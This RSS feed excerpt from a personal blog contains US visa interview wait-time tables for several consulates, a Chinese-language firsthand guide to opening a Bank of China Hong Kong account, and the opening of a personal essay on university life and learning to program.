&lt;/table&gt;
&lt;h3&gt;Guangzhou - P73&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Interview Required&lt;/th&gt;
&lt;th&gt;Visa Type&lt;/th&gt;
&lt;th&gt;Waiting Time (Calendar Days)&lt;/th&gt;
&lt;th&gt;Estimated Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;34&lt;/td&gt;
&lt;td&gt;2026-07-21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;2026-06-23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;35&lt;/td&gt;
&lt;td&gt;2026-07-22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;2026-06-25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;2026-06-20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;2026-06-20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;2026-06-20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;2026-06-20&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Shenyang - P188&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Interview Required&lt;/th&gt;
&lt;th&gt;Visa Type&lt;/th&gt;
&lt;th&gt;Waiting Time (Calendar Days)&lt;/th&gt;
&lt;th&gt;Estimated Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;2026-06-25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;2026-06-25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;2026-06-25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;2026-06-25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;2026-07-02&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Hong Kong - P84&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Interview Required&lt;/th&gt;
&lt;th&gt;Visa Type&lt;/th&gt;
&lt;th&gt;Waiting Time (Calendar Days)&lt;/th&gt;
&lt;th&gt;Estimated Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;2026-06-21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;2026-06-21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;2026-06-25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2026-06-18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2026-06-18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2026-06-18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2026-06-18&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Bangkok - P22&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Interview Required&lt;/th&gt;
&lt;th&gt;Visa Type&lt;/th&gt;
&lt;th&gt;Waiting Time (Calendar Days)&lt;/th&gt;
&lt;th&gt;Estimated Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;56&lt;/td&gt;
&lt;td&gt;2026-08-12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;55&lt;/td&gt;
&lt;td&gt;2026-08-11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;66&lt;/td&gt;
&lt;td&gt;2026-08-22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;2026-07-17&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;2026-06-20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Tokyo - P205&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Interview Required&lt;/th&gt;
&lt;th&gt;Visa Type&lt;/th&gt;
&lt;th&gt;Waiting Time (Calendar Days)&lt;/th&gt;
&lt;th&gt;Estimated Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;70&lt;/td&gt;
&lt;td&gt;2026-08-26&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;2026-07-17&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;35&lt;/td&gt;
&lt;td&gt;2026-07-22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;td&gt;2026-07-27&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2026-06-18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2026-06-18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2026-06-18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2026-06-18&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Toronto - P206&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Interview Required&lt;/th&gt;
&lt;th&gt;Visa Type&lt;/th&gt;
&lt;th&gt;Waiting Time (Calendar Days)&lt;/th&gt;
&lt;th&gt;Estimated Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;481&lt;/td&gt;
&lt;td&gt;2027-10-11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;27&lt;/td&gt;
&lt;td&gt;2026-07-14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;2026-08-09&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;26&lt;/td&gt;
&lt;td&gt;2026-07-13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Vancouver - P211&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Interview Required&lt;/th&gt;
&lt;th&gt;Visa Type&lt;/th&gt;
&lt;th&gt;Waiting Time (Calendar Days)&lt;/th&gt;
&lt;th&gt;Estimated Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;241&lt;/td&gt;
&lt;td&gt;2027-02-13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;161&lt;/td&gt;
&lt;td&gt;2026-11-25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;td&gt;2026-08-10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;2026-06-24&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;2026-06-24&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;2026-06-24&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;2026-06-24&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Data Source&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://travel.state.gov&quot;&gt;https://travel.state.gov&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Author&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;USVisa&lt;/strong&gt; © &lt;a href=&quot;https://github.com/missuo&quot;&gt;Vincent Yang&lt;/a&gt;, released under the &lt;a href=&quot;https://github.com/missuo/USVisa/raw/main/LICENSE&quot;&gt;MIT&lt;/a&gt; License.&lt;/p&gt;
</content:encoded></item><item><title>Bank of China Hong Kong Account Opening Guide</title><link>https://missuo.me/posts/bochk-open-account/</link><guid isPermaLink="true">https://missuo.me/posts/bochk-open-account/</guid><description>A detailed firsthand account of opening a Bank of China Hong Kong account as a mainland Chinese visitor, covering branch selection strategies, required documents, and tips for navigating the increasingly strict verification process.</description><pubDate>Sun, 16 Apr 2023 14:18:24 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本篇文章的部分信息来自于 推友 &lt;a href=&quot;https://twitter.com/caizhenghai&quot;&gt;@forecho&lt;/a&gt; 的 &lt;a href=&quot;https://blog.forecho.com/coming-to-hong-kong-to-get-a-hong-kong-bank-card.html&quot;&gt;来香港办香港银行卡&lt;/a&gt;。感谢！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前往香港&lt;/h2&gt;
&lt;p&gt;这里我就简单说了，我这次的旅程有些复杂，HGH 飞往 ZUH。巴士到达拱北口岸，拱北口岸巴士到达深圳大学站。第二天从深圳湾口岸 B3X 前往屯门市中心（当然深圳湾口岸有巴士直接去市中心的，比如前往尖沙咀）。我是屯马线屯门站上车，美孚站换乘荃湾线到金钟站，再换乘港岛线到湾仔站。到达时间是 4 月 14 日周五下午三点左右，依次去了 forecho 推荐的 &lt;strong&gt;湾仔分行&lt;/strong&gt; 和 &lt;strong&gt;铜锣湾分行&lt;/strong&gt;，都被告知今天名额满了。出门刚好看到附近还有 HSBC HK，也进去问了一下，被告知如果没有预约的话无法办理，目前预约已经排到了五月份。&lt;/p&gt;
&lt;p&gt;最后前往了我的好朋友 &lt;a href=&quot;https://sarkxing.design&quot;&gt;Sark&lt;/a&gt; 推荐的 &lt;strong&gt;广东道分行&lt;/strong&gt;，这个分行相对来说几乎是没什么客户的。前台的中年阿姨告知我，可以开卡，但是必须要存款 100 万港币。在我的来回拉扯下，我以朋友没存款 100 万港币开户成功，说她区别对待客户。最后到 4 点 45 分左右，她让我坐着等待让经理过来。但是因为我转运中国的货物在这个时候收到短信抵达了香港自提仓库，不得不直接离开 &lt;strong&gt;广东道分行&lt;/strong&gt;（自提仓库周末不开门，如果周五不取只能下周一），前往荃湾线的倒数第二站 —— 大窝口。在下班前三分钟顺利取到了货物。&lt;/p&gt;
&lt;h2&gt;办卡当天&lt;/h2&gt;
&lt;p&gt;第二天周六，我八点就出发了，这一次学聪明了，去了一家相对来说比较偏僻的，不过周六所有的分行下午 1 点下班。大概是 9 点 10 分左右到达东铁线上水站，立马赶到 &lt;strong&gt;上水银行服务中心&lt;/strong&gt;（新界上水新丰路 136 号），排队的最后一个小姐姐告诉我她是最后一个开户的号码 #30。此刻银行开门只有 10 分钟左右。请注意，附近的 &lt;strong&gt;上水分行&lt;/strong&gt;（新界上水新丰路 61 号）是不开户的。&lt;/p&gt;
&lt;p&gt;于是，我就去了上水站另一头的 &lt;strong&gt;上水中心分行&lt;/strong&gt;（新界上水上水中心第一层 1005-1009 号），进去之后询问是否可以开户，得到了肯定的回答，我感到很惊喜。本来不抱希望了，还想着立马赶到 &lt;strong&gt;广东道分行&lt;/strong&gt;（该分行不太一样，是中银理财中心，简单说就是正常情况下只接待高端用户）去再和大堂的阿姨对线一下看看能不能给我开户。结果，这个上水中心分行比较烦的是，反复追问办卡需求，我说投资理财买保险。她会追问今天办好卡是否能立马存钱，能存多少万等等。如果当天存不了，需要你提供存款 / 余额证明等等。感觉最近某些分行因为每天大陆过去开户的客户太多，故意提高了这些门槛。&lt;/p&gt;
&lt;p&gt;不过这些资产证明、收入证明之类的她是不用拍照留存、复印、扫描的，也不用上传系统的，只是柜员看一下而已。最后在我的瞎扯之下，她给我了一张 #20 的号。我以为应该很快就轮到我了，她让我一个小时后再来，我找了一家附近的麦当劳吃了个早饭，玩了会手机。大概 10 点半赶过去，她让我坐下来在 BOCHK App 填了一下开户基本信息。接着等着被叫号就行了。结果又等了两个多小时。而且这家分行只有一个座位，也就是意味着几乎所有人都是站着等。效率大概是一个号 30-50 分钟，非常慢。而且办理窗口只有一个。我前面有位 #17 的老哥，看样子也不会说粤语，应该也是来自内地非广东地区的。拿出了一个顺丰快递的文件信封来证明自己的住址。结果被柜员小姐姐狠狠地教育了一顿，说这个不是信件，这个是信封，无法证明你的住址。两个人嗓门很大，争执了很长一段时间，老哥说这次第五次来开户了，每次让我准备这个准备那个，结果这次带了信封还是不行。最后灰溜溜地离开了。&lt;/p&gt;
&lt;p&gt;12 点 56 分轮到了我，刚坐下来就问我开户需求，我说投资理财，她说投资什么，我说可能就港股，她让我给她看 A 股的投资经验，我说我没玩过股票，大学刚毕业。她要我提供工作证明，我给她看了之前的工作邮箱截图，她说这上面没有公司名，我说邮箱后缀还不能说明公司嘛。最后看这看那看了一通之后，她还是表现地不给开。她说没有投资经验你就玩港股我可以有权利不给你开户。我问她初学者不能直接入门港股？最后她一定要我提供资产证明。我让她出示开户相关条件的文件。最后在我的一再回怼下，我跟她说这些所谓的你需要的材料你也不需要上传系统，也不需要复印，也不需要留档。为什么一定要咬着不放呢？她说开户之后必须要保证账户里面有 10000 港币，我问她不到怎么办，她说会影响功能。我问她什么功能，她回答不上，就说会影响功能。我问她有没有账户管理费之类的，她说没有。&lt;/p&gt;
&lt;p&gt;最后就是开户的流程了，就是给她看身份证、港澳通行证、入境小票。接着就是设置密码，两个食指按指纹。大概 10 多分钟就搞定了。开户实际用时非常短，主要是前面那些问题非常恶心。我完成所有手续大概是下午的 1 点 34 分。&lt;/p&gt;
&lt;p&gt;我是上水中心分行周六的最后一个客户，也就是意味着到下午 1 点最多只能完成 20 个号，实际上只完成了不到 10 个号，因为很多客户等不及就走掉了，就跳过了。所以这个效率真的很感人。我预计如果是周一到周五的话，也最多完成 40-50 个号。&lt;/p&gt;
&lt;h2&gt;开户材料准备&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;中国大陆身份证原件&lt;/li&gt;
&lt;li&gt;港澳通行证&lt;/li&gt;
&lt;li&gt;入境小票&lt;/li&gt;
&lt;li&gt;地址证明文件（可选）：&lt;strong&gt;关于地址证明是如果你收实体卡片的地址不是你身份证上的地址，那么就必须要提供地址证明文件，常见的可以是大陆信用卡的账单，正常的大陆银行每个月会给你预留的邮箱发送一份 PDF 文件，如果没有可以向银行索要。你可以准备近三个月的信用卡账单，但是不能是 PDF 版本的，必须得是打印好的实体件。你可以留意一下是否包含你的名字和你的地址，一般情况下都是有的。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;手机号码：&lt;strong&gt;我用的是香港手机号，大陆手机号应该也可以，但是必须要在入境香港前向您的运营商开通漫游服务，否则你的手机卡会一直显示无服务的状态，无法收发短信。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;BOCHK App：&lt;strong&gt;强烈建议提前在手机上下载好 BOCHK App。&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;一些建议&lt;/h2&gt;
&lt;h3&gt;分行选择&lt;/h3&gt;
&lt;p&gt;不要选择 &lt;strong&gt;中港城分行&lt;/strong&gt; 这些。在尖沙咀附近那块的分行应该人不会少。可以选择 &lt;strong&gt;上水中心分行&lt;/strong&gt;、&lt;strong&gt;粉岭中心分行&lt;/strong&gt;、&lt;strong&gt;荃湾分行&lt;/strong&gt;、&lt;strong&gt;屯门市广场分行&lt;/strong&gt; 这些相对来说比较冷门一点的地方。当然如果你有兴趣的话，我倒是希望你可以去一下 &lt;strong&gt;广东道分行&lt;/strong&gt;，这个号称只接待高端用户的中银理财中心能不能开户成功。&lt;/p&gt;
&lt;h3&gt;时间段选择&lt;/h3&gt;
&lt;p&gt;不要选择周六，除非你愿意 9 点前就赶到门口排队。周一到周五也尽量选择 10 点前到达。&lt;/p&gt;
&lt;h3&gt;实体卡邮寄&lt;/h3&gt;
&lt;p&gt;柜员说是 30 天之内到，据说是平邮，查不到邮寄信息，只能多去信箱看看了。&lt;/p&gt;
</content:encoded></item><item><title>Summary of University Life</title><link>https://missuo.me/posts/university-life/</link><guid isPermaLink="true">https://missuo.me/posts/university-life/</guid><description>A reflective essay on four years of university life as a CS student in Shanghai, from early programming experiences and internships to the decision to pursue graduate studies in the United States.</description><pubDate>Tue, 14 Mar 2023 17:46:47 GMT</pubDate><content:encoded>&lt;p&gt;时间过得真的很快，从小学毕业到现在快十年了，还有三个月我就要本科毕业了。最近的生活没什么压力，可以让我静下来思考很多东西。&lt;/p&gt;
&lt;p&gt;小学的时候第一次接触电脑，在当时看来如此神奇的东西。那时候最新的操作系统还只是 Windows XP，而有些人还在用着古老的 Windows 2000/98。那时候是我第一次接触键盘，开始练习打字，实在记不起来当时的那款打字游戏叫什么，只记得只有不断的打字才能逃跑，后面有警察一直在追着你，如果被抓到了就输了。是啊，在现在看来可能有些幼稚，那时候打字比赛获得了一等奖。不过那时候没有什么机会好好玩电脑，最多用的软件可能就是 QQ 吧。直到我小学六年级毕业那个暑假，我有了很多的时间可以去琢磨，我第一次接触的编程语言是易语言，那时候流行用易语言来做钓鱼程序盗号，我也有玩过。&lt;/p&gt;
&lt;p&gt;再后来去了初中，那是 2013 年，我开始接触 Scratch 和 VB，也是在那时认识了那个让我爱上编程的老师，幸运的是现在我还和他有保持联系。除了玩 Scratch 做一些小游戏，VB 写一些简单的程序之外，我在初三的时候开始接触服务器、域名和博客。那时候用的叫 Hostker 的虚拟主机，现在好像还活着。我买了一个域名，用一个 HTML 单文件搭建了我的第一个博客。后来也买了一个我初中全拼的域名，搭建了 Disquz 校园论坛。&lt;/p&gt;
&lt;p&gt;再后来就是高中，但是老实说我的高中几乎没有接触电脑，都是在玩手机。那个时候王者荣耀很火，微信也慢慢开始不仅仅是支付工具。高中也有技术课，甚至高考也会考相关的知识，但是那个时候提不起什么兴趣，老师上课也只是让你记住知识点，也不会给你解释为什么。所以相对来说，有些枯燥乏味。&lt;/p&gt;
&lt;p&gt;直到大学，我记得那是 2019 年 8 月，我收到了我的第一台 Macbook Pro，开始了我的编程生涯。从 C 语言开始，再到 Java。但是老实说除了在上那两门课之后，我再也没写过 C 和 Java。感觉 C 语言我一般不太用的到，只有在写 Arduino 的写过一些 C++。至于 Java，我似乎没有机会写，坚决不用 Java 写 Backend，我只是觉得明明有更好的选择，不想变得复杂化。我自学了 Python，JS，Shell，PHP，Golang。我会用 Python 写一些简单的爬虫，又或者是数据的处理，它真的太方便了。我也在 PyPi 贡献了一些我写的 Package。至于 JS，有时候在写 H5 的时候会偶尔用到，我也用 JS 写过项目的 Backend，称不上喜欢，但也不讨厌，自己很少用，因为我讨厌在服务器上部署 Node 环境。Shell 是我最常用的之一，我用它写了不少好用的脚本，实现了一些自动化或者是一键安装。PHP 我会用它写一些简单的 PHP，毕竟只要把它丢到网站根目录就好啦，太方便了。Golang 是我最晚接触的，大概也就是在半年前，我现在主要用它来写 Web API，Gin 和 Grom 太方便了。&lt;/p&gt;
&lt;p&gt;好好回忆起大学的这四年，我好像几乎都在学一些我自己喜欢的东西，和 Leo 一起玩 VPS，一起探索世界互联网五花八门的路由，一起在 GitHub 做开源贡献。这确实很快乐。我们可以一起在图书馆或者工作室玩一整天关于 XrayR、Nginx、CDN，还有好多奇怪的玩法。我们也会测试学校的一些系统的 API 是否可以 SQL 注入。也许在这些时间里，让我更加热爱计算机。&lt;/p&gt;
&lt;h3&gt;大一&lt;/h3&gt;
